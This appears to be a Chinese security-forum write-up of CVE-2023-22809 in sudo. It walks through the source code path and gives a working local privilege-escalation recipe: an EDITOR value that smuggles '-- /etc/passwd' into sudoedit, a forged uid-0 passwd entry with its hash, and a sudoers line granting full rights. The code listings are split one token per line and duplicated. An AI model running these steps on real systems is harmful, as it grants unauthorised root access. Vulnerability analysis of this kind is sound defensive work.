使用sudo --version查看当前系统下sudo版本
若在1.8.0-1.9.12p1范围内,则可以直接用本机环境复现,但是为了便于调试(获取符号信息)我们需要编译一份debug版本的sudo
首先到https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz下载固定版本的sudo,然后下载好后在压缩包对应目录下执行下列命令:
编译成功后,我们调试的sudo程序就是有符号信息的了,编译后的sudo 位于/usr/local/bin文件夹内
调试过程可能会遇到sudo报错的问题,这个报错是由于gdb没有sudo模式下运行
然而如果直接sudo gdb,则又不会加载pwndbg插件
sudo命令不会加载个人配置文件(或者说继承当前的环境变量)而直接运行gdb,使用-E选项将当前环境变量传递给sudo命令就能成功加载pwndbg插件
搭建好环境后,测试一下漏洞
首先创建/etc/test,然后编辑/etc/sudoers,在文件末尾添加(user为攻击者用户名)
这一步是为了满足攻击条件,具体原因会在下面分析提到
然后在命令行中输入
/path/to/file可以是任意文件,常见的提权有:修改/etc/shadow为空密码(但我本地未能成功,不清楚为啥)、修改/etc/passwd中root为用户名、修改/etc/sudoers规定用户X可以无密码执行任何操作,具体不再赘述
以修改/etc/shadow为例
先用openssl生成密码
然后修改/etc/passwd,添加
最后su xxx 然后输入密码123就可以提权了
完成提权
先来看漏洞怎么走到触发位置的,首先关注main函数,sudo在main函数中进入parse_args函数解析sudo的启动参数,然后将返回值传入sudo_mode
sudo_mode是parse_args的返回值,根据参数解析相应的模式,这个值决定下面的switch语句中进入哪个分支
parse_args首先会检测执行程序名称的长度,如果长度大于4且后四个字母为edit,则将mode设置为MODE_EDIT,然后通过getopt_long函数解析命令行参数以及转换到“sudo_settings”结构体中,这个函数是getopt函数的一个扩展,可以处理长选项和可选参数,返回值是当前选项的字符代码;进入到switch分支,并根据选项设置相应的标志位
长选项(long options)是一种长的命令行标志,通常由两个减号(--)和一个带有描述性名称的单词组成。例如,--file 是一个长选项
长选项通常用于指定程序的一些高级选项,比如输出目录、日志文件、配置文件等。
短选项(short options)是一种用于在命令行中指定程序选项的方式。通常由单个字符组成,并且在前面加上一个破折号(-)。例如,-h
是一个短选项,它可能用于显示程序的帮助信息。
短选项通常用于指定程序的一些基本选项,比如输出格式、日志级别、文件名等。它们通常很容易记忆,因为它们只有一个字符,并且在命令行中很常见。
长选项和短选项通常可以接参数
主要关注会在下面的分析或exploit中用到的这几个参数:
解析参数和设置模式后返回到main函数,由于sudo_mode已设置为MODE_EDIT,会执行policy_check函数
来看看policy_check函数的源码
可以发现他实际上会通过虚表来调用check_policy,这里虚表的载入实际上是通过load_plugins等函数加载函数表到sudoers_policy结构体中,还与sudoers.so有关,具体过程比较复杂,我们可以直接在gdb里下断点到policy_check函数,然后单步步过到这个位置,然后看一下具体是哪个函数
通过调试发现实际上调用的是sudoers_policy_check函数
sudoers_policy_check函数将存储命令行参数、用户环境变量和命令信息等放到exec_args结构体中,然后调用sudoers_policy_main函数
在sudoers_policy_main函数首先调用sudoers_lookup函数,主要功能是读取sudoers文件的内容并验证用户是否有权限执行命令,这也是此漏洞的攻击条件之一,如果没有权限会无法绕过sudoers_lookup函数。
在解析sudoers文件时,该函数将检查用户是否属于允许执行该命令的用户组,以及该命令是否被列入sudoers文件中。如果用户没有权限执行该命令,则该函数将返回false,否则将返回true,并将命令状态存储在cmnd_status变量中。但是在经过了sudoers_lookup函数的检查后,如果以"-e"模式运行,则调用find_editor函数,这个函数会重写已经检查过的命令。这个逻辑是一个很危险的操作,因为一旦经过了权限验证,所执行的命令就不应当被修改。
下面我们看看find_editor函数
find_editor函数首先检查是否存在SUDO_EDITOR、VISUAL、EDITOR这三个环境变量,对于每个环境变量如果存在则调用resolve_editor,resolve_editor是解析路径和命令的函数。
通过调试,可以看到此时环境变量EDITOR已经被我们注入为’vim — /etc/passwd’
resolve_editor
首先接收参数(环境变量ed、文件数量nfiles、文件列表files、允许列表allowlist),然后通过wordsplit和copy_arg计算参数数量并解析到nargv数组中,为了解释字符串是怎样被解析的,这个过程结合调试来演示
第一次wordsplit和copy_arg,长度为3,这一步是拷贝了编辑器的名称
然后通过getenv获取环境变量PATH的值,接着通过find_path获取vim的路径
这一部分完成了对编辑器的解析。
接着走到第一个for循环里,从编辑器名称(vim)后的字符串直接开始,通过wordsplit来计算参数(nargc)的数量
并且如果nfiles不为0(nfiles与sudo的命令行参数数量有关),就会将参数的数量加一,然后根据参数数量申请对应大小的空间(nfiles即要编辑的文件数量)。
第二个for循环则是把参数拷贝到nargv数组中
在拷贝结束后会判断要编辑的文件数量是否为0,如果不为0,则程序会往要编辑的文件前注入两个破折号,并且在之后将要编辑的文件名拷贝到nargv数组,这两个破折号相当于标记的作用,标记后面的内容为要编辑的文件名,但此时环境变量是在此之前拷贝的,’vim — /etc/passwd’ 此时已经拷贝到nargv数组中,在此之后拷贝了程序注入的’ — ‘以及文件名,于是这个命令就被解析为vim — /etc/passwd — /etc/test
最后nargv和nargc会拷贝到argc_out和argv_out中,这两个变量会用于接下来的sudo_edit。
nargv是一个char **的数组,可以看到已被解析为vim — /etc/passwd — /etc/test(这里的nargv[3]由于位于可执行段上会被识别为指令,但其实仍然指向’—’这个字符串)
最后一步:sudo_edit
sudoedit首先设置了ROOT权限和临时可写目录,由于此时已经是root权限,当走到这一步就可以做到任意文件编辑,重点关注这几行行代码
首先设置权限为root权限,这一步完成了提权,在这之后会设置一个临时的可写目录(这个临时可写目录是为了保持写入过程中的稳定性,简单的说就是会在tmp下面写一个文件,写完后会拷贝到原本要写的文件中去);
调试中可以看到uid为0,为超级用户
然后走到strcmp函数时,最终的命令行参数与--比较,如果相同则将之后的内容视为要编辑的文件名,指令rep cmpsb用于比较两个内存区域的数据内容是否相同,在这里就是比较命令行参数是否为'--'
根据上文对resolve_editor函数的分析,环境变量的额外参数没有对用户输入的内容进行过滤,假如我们在额外参数中注入一个-- file,这些额外参数最终会被解析到command_details->argv中,然后通过strcmp比较将--之后的内容视为要编辑的文件,并且file的路径和文件名也是用户可控的,由于此时已经设置了root权限,所以我们编辑某些敏感文件如/etc/passwd也是没问题的,有了任意文件编辑之后,实现提权也就是分分钟的事情了。
看过上面的分析,exploit其实很好写,首先我们需要一个sudoedit的权限,这个权限可以通过编辑/etc/sudoers来实现(不得不吐槽一下这个条件有点奇葩),然后在环境变量里注入EDITOR如'vim -- file' file为要编辑的路径及文件名并执行sudoedit,最后通过编辑/etc/sudoers敏感文件提权
sudoers和passwd文件介绍如下
/etc/sudoers是Unix和Linux系统上的一个文件,它包含了授权用户或组以root或其他特权用户身份运行命令的规则。sudoers文件通常只能由系统管理员或具有特权的用户进行编辑。
当用户使用sudo命令时,系统会检查/etc/sudoers文件中的规则,以确定用户是否被授权运行指定的命令或脚本。这些规则可以指定哪些用户或组可以使用sudo,以及在哪些主机上、以哪种方式、运行哪些命令或脚本可以使用sudo。
sudoers文件的规则语法有点复杂,建议在编辑sudoers文件之前备份好文件,并使用专门的工具(如visudo)进行编辑,以避免语法错误或安全问题。
/etc/passwd是Linux系统中的一个文件,它包含了所有用户账号的信息。每一行代表一个用户账号,由7个字段组成,字段之间用冒号分隔。这7个字段的含义分别是:
exp
首先检查当前系统上的sudo版本是否存在安全漏洞,如果不是,则退出。如果是,则检查当前用户是否可以通过sudoedit以root权限运行命令。如果当前用户无法以root权限运行sudoedit,则脚本会提示用户是否要继续进行提权攻击。如果用户可以以root权限运行sudoedit,则脚本将显示一条消息,告诉用户将特定行添加到sudoers文件中。最后,脚本将打开sudoers文件以便用户添加此行。
使用 sudo -l 命令列出当前用户的sudo权限。
使用 grep -E "sudoedit|sudo -e" 过滤出能够运行 sudoedit 命令或者 sudo -e 命令的权限。
使用 grep -E '(root)|(ALL)|(ALL : ALL)' 过滤出其中包含 (root) 或者 (ALL) 或者 (ALL : ALL) 的权限。
使用 cut -d ')' -f 2- 命令删除每行开头的括号和空格,只保留每行的命令参数。
如果无法以root权限运行sudoedit,则不满足CVE-2023-22809的利用条件;
如果有权限,则会提示接下来的payload会任意文件编辑打开sudoers文件,攻击者在/etc/sudoers文件里添加$USER ALL=(ALL:ALL) ALL,该命令表示用户$USER可以运行任意命令,而不需要输入密码,接着注入EDITOR,EDITOR中—后面的,最后运行sudo su root实现提权
只需把受影响的环境变量添加到拒绝列表中
wget https:
/
/
www.sudo.ws
/
dist
/
sudo
-
1.9
.
12p1
.tar.gz
tar
-
zxvf .
/
sudo
-
1.9
.
12p1
.tar.gz
cd sudo
-
1.9
.
12p1
/
.
/
configure && make && make install
wget https:
/
/
www.sudo.ws
/
dist
/
sudo
-
1.9
.
12p1
.tar.gz
tar
-
zxvf .
/
sudo
-
1.9
.
12p1
.tar.gz
cd sudo
-
1.9
.
12p1
/
.
/
configure && make && make install
sudo
-
E gdb
/
usr
/
local
/
bin
/
sudo
sudo
-
E gdb
-
-
args
/
usr
/
local
/
bin
/
sudo ...
sudo
-
E gdb
/
usr
/
local
/
bin
/
sudo
sudo
-
E gdb
-
-
args
/
usr
/
local
/
bin
/
sudo ...
user
ALL
=
(
ALL
:
ALL
) NOPASSWD: sudoedit
/
etc
/
test
user
ALL
=
(
ALL
:
ALL
) NOPASSWD: sudoedit
/
etc
/
test
EDITOR
=
'vim -- /path/to/file'
sudoedit
/
etc
/
test
EDITOR
=
'vim -- /path/to/file'
sudoedit
/
etc
/
test
x@x
-
virtual
-
machine:~$ openssl passwd
-
1
-
salt xxx
123
$
1
$xxx$jTt7t9bGmhywOtQCjcQA.
1
x@x
-
virtual
-
machine:~$ openssl passwd
-
1
-
salt xxx
123
$
1
$xxx$jTt7t9bGmhywOtQCjcQA.
1
xxx:$
1
$xxx$jTt7t9bGmhywOtQCjcQA.
1
:
0
:
0
:root:
/
root:
/
bin
/
bash
xxx:$
1
$xxx$jTt7t9bGmhywOtQCjcQA.
1
:
0
:
0
:root:
/
root:
/
bin
/
bash
int
main(
int
argc, char
*
argv[], char
*
envp[])
{
int
nargc, status
=
0
;
char
*
*
nargv,
*
*
env_add;
char
*
*
command_info
=
NULL,
*
*
argv_out
=
NULL,
*
*
run_envp
=
NULL;
const char
*
const allowed_prognames[]
=
{
"sudo"
,
"sudoedit"
, NULL };
......
submit_argv
=
argv;
submit_envp
=
envp;
sudo_mode
=
parse_args(argc, argv, &submit_optind, &nargc, &nargv,
&sudo_settings, &env_add);
}
int
main(
int
argc, char
*
argv[], char
*
envp[])
{
int
nargc, status
=
0
;
char
*
*
nargv,
*
*
env_add;
char
*
*
command_info
=
NULL,
*
*
argv_out
=
NULL,
*
*
run_envp
=
NULL;
const char
*
const allowed_prognames[]
=
{
"sudo"
,
"sudoedit"
, NULL };
......
submit_argv
=
argv;
submit_envp
=
envp;
sudo_mode
=
parse_args(argc, argv, &submit_optind, &nargc, &nargv,
&sudo_settings, &env_add);
}
int
parse_args(
int
argc, char
*
*
argv,
int
*
old_optind,
int
*
nargc, char
*
*
*
nargv,
struct sudo_settings
*
*
settingsp, char
*
*
*
env_addp)
{
const char
*
progname,
*
short_opts
=
sudo_short_opts;
struct option
*
long_opts
=
sudo_long_opts;
struct environment extra_env;
int
mode
=
0
;
/
*
what mode
is
sudo to be run
in
?
*
/
int
flags
=
0
;
/
*
mode flags
*
/
int
valid_flags
=
DEFAULT_VALID_FLAGS;
int
ch, i;
char
*
cp;
debug_decl(parse_args, SUDO_DEBUG_ARGS);
/
*
Is someone trying something funny?
*
/
if
(argc <
=
0
)
usage();
/
*
The plugin API includes the program name (either sudo
or
sudoedit).
*
/
progname
=
getprogname();
sudo_settings[ARG_PROGNAME].value
=
progname;
/
*
First, check to see
if
we were invoked as
"sudoedit"
.
*
/
if
(strcmp(progname,
"sudoedit"
)
=
=
0
) {
mode
=
MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value
=
"true"
;
valid_flags
=
EDIT_VALID_FLAGS;
short_opts
=
edit_short_opts;
long_opts
=
edit_long_opts;
}
......
if
((ch
=
getopt_long(argc, argv, short_opts, long_opts, NULL)) !
=
-
1
) {
switch (ch) {
......
case
'E'
:
/
*
*
Optional argument
is
a comma
-
separated
list
of
*
environment variables to preserve.
*
If
not
present, preserve everything.
*
/
if
(optarg
=
=
NULL) {
sudo_settings[ARG_PRESERVE_ENVIRONMENT].value
=
"true"
;
SET
(flags, MODE_PRESERVE_ENV);
}
else
{
parse_env_list(&extra_env, optarg);
}
break
;
case
'e'
:
if
(mode && mode !
=
MODE_EDIT)
usage_excl();
mode
=
MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value
=
"true"
;
valid_flags
=
EDIT_VALID_FLAGS;
break
;
......
case
'l'
:
if
(mode) {
if
(mode
=
=
MODE_LIST)
SET
(flags, MODE_LONG_LIST);
else
usage_excl();
}
mode
=
MODE_LIST;
valid_flags
=
LIST_VALID_FLAGS;
break
;
if
(!mode) {
/
*
Defer
-
k mode setting until we know whether it
is
a flag
or
not
*
/
if
(sudo_settings[ARG_IGNORE_TICKET].value !
=
NULL) {
if
(argc
=
=
0
&& !ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)) {
mode
=
MODE_INVALIDATE;
/
*
-
k by itself
*
/
sudo_settings[ARG_IGNORE_TICKET].value
=
NULL;
valid_flags
=
0
;
}
}
if
(!mode)
mode
=
MODE_RUN;
/
*
running a command
*
/
}
int
parse_args(
int
argc, char
*
*
argv,
int
*
old_optind,
int
*
nargc, char
*
*
*
nargv,
struct sudo_settings
*
*
settingsp, char
*
*
*
env_addp)
{
const char
*
progname,
*
short_opts
=
sudo_short_opts;
struct option
*
long_opts
=
sudo_long_opts;
struct environment extra_env;
int
mode
=
0
;
/
*
what mode
is
sudo to be run
in
?
*
/
int
flags
=
0
;
/
*
mode flags
*
/
int
valid_flags
=
DEFAULT_VALID_FLAGS;
int
ch, i;
char
*
cp;
debug_decl(parse_args, SUDO_DEBUG_ARGS);
/
*
Is someone trying something funny?
*
/
if
(argc <
=
0
)
usage();
/
*
The plugin API includes the program name (either sudo
or
sudoedit).
*
/
progname
=
getprogname();
sudo_settings[ARG_PROGNAME].value
=
progname;
/
*
First, check to see
if
we were invoked as
"sudoedit"
.
*
/
if
(strcmp(progname,
"sudoedit"
)
=
=
0
) {
mode
=
MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value
=
"true"
;
valid_flags
=
EDIT_VALID_FLAGS;
short_opts
=
edit_short_opts;
long_opts
=
edit_long_opts;
}
......
if
((ch
=
getopt_long(argc, argv, short_opts, long_opts, NULL)) !
=
-
1
) {
switch (ch) {
......
case
'E'
:
/
*
*
Optional argument
is
a comma
-
separated
list
of
*
environment variables to preserve.
*
If
not
present, preserve everything.
*
/
if
(optarg
=
=
NULL) {
sudo_settings[ARG_PRESERVE_ENVIRONMENT].value
=
"true"
;
SET
(flags, MODE_PRESERVE_ENV);
}
else
{
parse_env_list(&extra_env, optarg);
}
break
;
case
'e'
:
if
(mode && mode !
=
MODE_EDIT)
usage_excl();
mode
=
MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value
=
"true"
;
valid_flags
=
EDIT_VALID_FLAGS;
break
;
......
case
'l'
:
if
(mode) {
if
(mode
=
=
MODE_LIST)
SET
(flags, MODE_LONG_LIST);
else
usage_excl();
}
mode
=
MODE_LIST;
valid_flags
=
LIST_VALID_FLAGS;
break
;
if
(!mode) {
/
*
Defer
-
k mode setting until we know whether it
is
a flag
or
not
*
/
if
(sudo_settings[ARG_IGNORE_TICKET].value !
=
NULL) {
if
(argc
=
=
0
&& !ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)) {
mode
=
MODE_INVALIDATE;
/
*
-
k by itself
*
/
sudo_settings[ARG_IGNORE_TICKET].value
=
NULL;
valid_flags
=
0
;
}
}
if
(!mode)
mode
=
MODE_RUN;
/
*
running a command
*
/
}
switch (sudo_mode & MODE_MASK) {
......
case MODE_EDIT:
case MODE_RUN:
if
(!policy_check(nargc, nargv, env_add, &command_info, &argv_out,
&run_envp))
......
/
*
The close method was called by sudo_edit
/
run_command.
*
/
break
;
switch (sudo_mode & MODE_MASK) {
......
case MODE_EDIT:
case MODE_RUN:
if
(!policy_check(nargc, nargv, env_add, &command_info, &argv_out,
&run_envp))
......
/
*
The close method was called by sudo_edit
/
run_command.
*
/
break
;
static
bool
policy_check(
int
argc, char
*
const argv[], char
*
env_add[],
char
*
*
command_info[], char
*
*
run_argv[], char
*
*
run_envp[])
{
const char
*
errstr
=
NULL;
int
ok;
debug_decl(policy_check, SUDO_DEBUG_PCOMM);
if
(policy_plugin.u.policy
-
>check_policy
=
=
NULL) {
sudo_fatalx(U_(
"policy plugin %s is missing the \"check_policy\" method"
),
policy_plugin.name);
}
......
}
static
bool
policy_check(
int
argc, char
*
const argv[], char
*
env_add[],
char
*
*
command_info[], char
*
*
run_argv[], char
*
*
run_envp[])
{
const char
*
errstr
=
NULL;
int
ok;
debug_decl(policy_check, SUDO_DEBUG_PCOMM);
if
(policy_plugin.u.policy
-
>check_policy
=
=
NULL) {
sudo_fatalx(U_(
"policy plugin %s is missing the \"check_policy\" method"
),
policy_plugin.name);
}
......
}
static
int
sudoers_policy_check(
int
argc, char
*
const argv[], char
*
env_add[],
char
*
*
command_infop[], char
*
*
argv_out[], char
*
*
user_env_out[],
const char
*
*
errstr)
{
......
struct sudoers_exec_args exec_args;
int
ret;
......
if
(ISSET(sudo_mode, MODE_EDIT))
valid_flags
=
EDIT_VALID_FLAGS;
else
SET
(sudo_mode, MODE_RUN);
......
exec_args.argv
=
argv_out;
exec_args.envp
=
user_env_out;
exec_args.info
=
command_infop;
ret
=
sudoers_policy_main(argc, argv,
0
, env_add, false, &exec_args);
......
}
static
int
sudoers_policy_check(
int
argc, char
*
const argv[], char
*
env_add[],
char
*
*
command_infop[], char
*
*
argv_out[], char
*
*
user_env_out[],
const char
*
*
errstr)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2023-5-18 19:33
被CatF1y编辑
,原因: 有一张图贴错位置了